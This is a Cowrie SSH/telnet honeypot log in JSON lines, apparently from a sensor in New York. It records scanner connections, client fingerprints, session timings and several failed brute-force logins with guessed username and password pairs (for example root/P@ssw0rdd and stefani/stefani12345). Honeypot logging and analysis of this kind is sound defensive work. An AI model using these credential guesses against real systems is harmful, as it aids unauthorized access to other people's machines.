{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":54294,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaf1252d3334","protocol":"telnet","message":"New connection: 209.127.178.212:54294 (159.203.135.109:23) [session: eaf1252d3334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:09.873729Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":41900,"dst_ip":"159.203.135.109","dst_port":22,"session":"8586d0ebcb3b","protocol":"ssh","message":"New connection: 103.188.177.46:41900 (159.203.135.109:22) [session: 8586d0ebcb3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:10.581982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:10.587464Z","src_ip":"103.188.177.46","session":"8586d0ebcb3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:10.828392Z","src_ip":"103.188.177.46","session":"8586d0ebcb3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"1","message":"login attempt [amir/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:11.821026Z","src_ip":"103.188.177.46","session":"8586d0ebcb3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.325923442840576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:12.109203Z","src_ip":"209.127.178.212","session":"3b944125423d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:13.064506Z","src_ip":"103.188.177.46","session":"8586d0ebcb3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":54262,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5527b17f42e","protocol":"telnet","message":"New connection: 209.127.178.212:54262 (159.203.135.109:23) [session: f5527b17f42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:15.705153Z"}
{"eventid":"cowrie.session.closed","duration":0.2005763053894043,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:15.905607Z","src_ip":"209.127.178.212","session":"f5527b17f42e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":42342,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a78b50db523","protocol":"ssh","message":"New connection: 147.45.211.215:42342 (159.203.135.109:22) [session: 5a78b50db523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:19.961550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:19.967027Z","src_ip":"147.45.211.215","session":"5a78b50db523","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:20.141191Z","src_ip":"147.45.211.215","session":"5a78b50db523","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1q1q1","message":"login attempt [root/q1q1q1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:20.668615Z","src_ip":"147.45.211.215","session":"5a78b50db523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:21.847994Z","src_ip":"147.45.211.215","session":"5a78b50db523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.5","src_port":25020,"dst_ip":"10.17.0.5","dst_port":22,"session":"f24bd2fa714d","protocol":"ssh","message":"New connection: 176.65.132.5:25020 (10.17.0.5:22) [session: f24bd2fa714d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:25.942137Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:25.947872Z","src_ip":"176.65.132.5","session":"f24bd2fa714d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40088,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9df04fc5d74","protocol":"telnet","message":"New connection: 152.42.224.71:40088 (10.17.0.5:23) [session: a9df04fc5d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:26.012100Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":54890,"dst_ip":"159.203.135.109","dst_port":23,"session":"63de8e13d9eb","protocol":"telnet","message":"New connection: 209.127.178.212:54890 (159.203.135.109:23) [session: 63de8e13d9eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:26.340370Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40096,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a4fada6c369","protocol":"telnet","message":"New connection: 152.42.224.71:40096 (10.17.0.5:23) [session: 6a4fada6c369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:31.278358Z"}
{"eventid":"cowrie.session.closed","duration":33.04622507095337,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:31.471260Z","src_ip":"209.127.178.212","session":"5e3eea9d3640","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.37.39","src_port":57422,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba2aa9d090ad","protocol":"ssh","message":"New connection: 43.153.37.39:57422 (10.17.0.5:22) [session: ba2aa9d090ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:34.357608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:34.362345Z","src_ip":"43.153.37.39","session":"ba2aa9d090ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:34.430244Z","src_ip":"43.153.37.39","session":"ba2aa9d090ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@Aa","message":"login attempt [root/123456@Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:34.734424Z","src_ip":"43.153.37.39","session":"ba2aa9d090ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:35.806404Z","src_ip":"43.153.37.39","session":"ba2aa9d090ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":55308,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c914de3742a","protocol":"telnet","message":"New connection: 209.127.178.212:55308 (159.203.135.109:23) [session: 7c914de3742a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:36.456744Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":54660,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ea155669e0a","protocol":"ssh","message":"New connection: 102.210.148.92:54660 (159.203.135.109:22) [session: 4ea155669e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:38.118761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:38.122363Z","src_ip":"102.210.148.92","session":"4ea155669e0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:38.374147Z","src_ip":"102.210.148.92","session":"4ea155669e0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nl123456","message":"login attempt [root/Nl123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:39.404475Z","src_ip":"102.210.148.92","session":"4ea155669e0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.76604723930359,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:40.639577Z","src_ip":"209.127.178.212","session":"eaf1252d3334","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:40.657533Z","src_ip":"102.210.148.92","session":"4ea155669e0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":60364,"dst_ip":"10.17.0.5","dst_port":22,"session":"6eba633ed942","protocol":"ssh","message":"New connection: 192.169.243.246:60364 (10.17.0.5:22) [session: 6eba633ed942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:42.859188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:42.864192Z","src_ip":"192.169.243.246","session":"6eba633ed942","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:42.935824Z","src_ip":"192.169.243.246","session":"6eba633ed942","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rdd","message":"login attempt [root/P@ssw0rdd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:43.253621Z","src_ip":"192.169.243.246","session":"6eba633ed942","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:44.328974Z","src_ip":"192.169.243.246","session":"6eba633ed942","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48222,"dst_ip":"10.17.0.5","dst_port":23,"session":"f00de6681cf5","protocol":"telnet","message":"New connection: 152.42.224.71:48222 (10.17.0.5:23) [session: f00de6681cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:46.708853Z"}
{"eventid":"cowrie.session.closed","duration":89.64726758003235,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:46.713754Z","src_ip":"152.42.224.71","session":"8c55ef413e87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":55778,"dst_ip":"159.203.135.109","dst_port":23,"session":"4aa1220d2b3b","protocol":"telnet","message":"New connection: 209.127.178.212:55778 (159.203.135.109:23) [session: 4aa1220d2b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:48.127767Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":54935,"dst_ip":"10.17.0.5","dst_port":22,"session":"4768e4cac83c","protocol":"ssh","message":"New connection: 213.209.159.56:54935 (10.17.0.5:22) [session: 4768e4cac83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:51.699625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:51.703776Z","src_ip":"213.209.159.56","session":"4768e4cac83c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:51.785543Z","src_ip":"213.209.159.56","session":"4768e4cac83c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stefani","password":"stefani","message":"login attempt [stefani/stefani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:52.186789Z","src_ip":"213.209.159.56","session":"4768e4cac83c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stefani","password":"stefani1","message":"login attempt [stefani/stefani1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:53.271307Z","src_ip":"213.209.159.56","session":"4768e4cac83c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":55970,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f866987bc39","protocol":"telnet","message":"New connection: 209.127.178.212:55970 (159.203.135.109:23) [session: 7f866987bc39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:53.515208Z"}
{"eventid":"cowrie.login.failed","username":"stefani","password":"stefani123","message":"login attempt [stefani/stefani123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:54.356053Z","src_ip":"213.209.159.56","session":"4768e4cac83c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.70522403717041,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:55.413961Z","src_ip":"152.42.224.71","session":"f00de6681cf5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"stefani","password":"stefani1234","message":"login attempt [stefani/stefani1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:55.445554Z","src_ip":"213.209.159.56","session":"4768e4cac83c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stefani","password":"stefani12345","message":"login attempt [stefani/stefani12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:56.531088Z","src_ip":"213.209.159.56","session":"4768e4cac83c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.823415994644165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:57.163701Z","src_ip":"209.127.178.212","session":"63de8e13d9eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:57.615545Z","src_ip":"213.209.159.56","session":"4768e4cac83c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.5","src_port":53074,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ea43e62a991","protocol":"ssh","message":"New connection: 176.65.132.5:53074 (10.17.0.5:22) [session: 0ea43e62a991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:00.099425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:00.105344Z","src_ip":"176.65.132.5","session":"0ea43e62a991","protocol":"ssh"}
